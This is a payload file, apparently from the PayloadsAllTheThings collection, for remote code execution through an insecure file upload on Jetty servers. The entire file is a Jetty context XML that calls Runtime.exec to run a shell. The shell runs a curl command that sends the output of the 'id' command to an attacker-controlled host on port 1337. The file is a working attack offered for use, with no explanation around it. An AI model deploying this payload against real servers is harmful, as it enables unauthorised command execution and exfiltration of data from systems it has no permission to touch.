PayloadsAllTheThings/Upload Insecure Files/Jetty RCE/JettyShell.xml
2022-08-09 22:05:45 +02:00

15 lines
No EOL
568 B
XML

<?xml version="1.0"?>
<!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "https://www.eclipse.org/jetty/configure_10_0.dtd">
<Configure class="org.eclipse.jetty.server.handler.ContextHandler">
<Call class="java.lang.Runtime" name="getRuntime">
<Call name="exec">
<Arg>
<Array type="String">
<Item>/bin/sh</Item>
<Item>-c</Item>
<Item>curl -F "r=`id`" http://yourServer:1337/</Item>
</Array>
</Arg>
</Call>
</Call>
</Configure>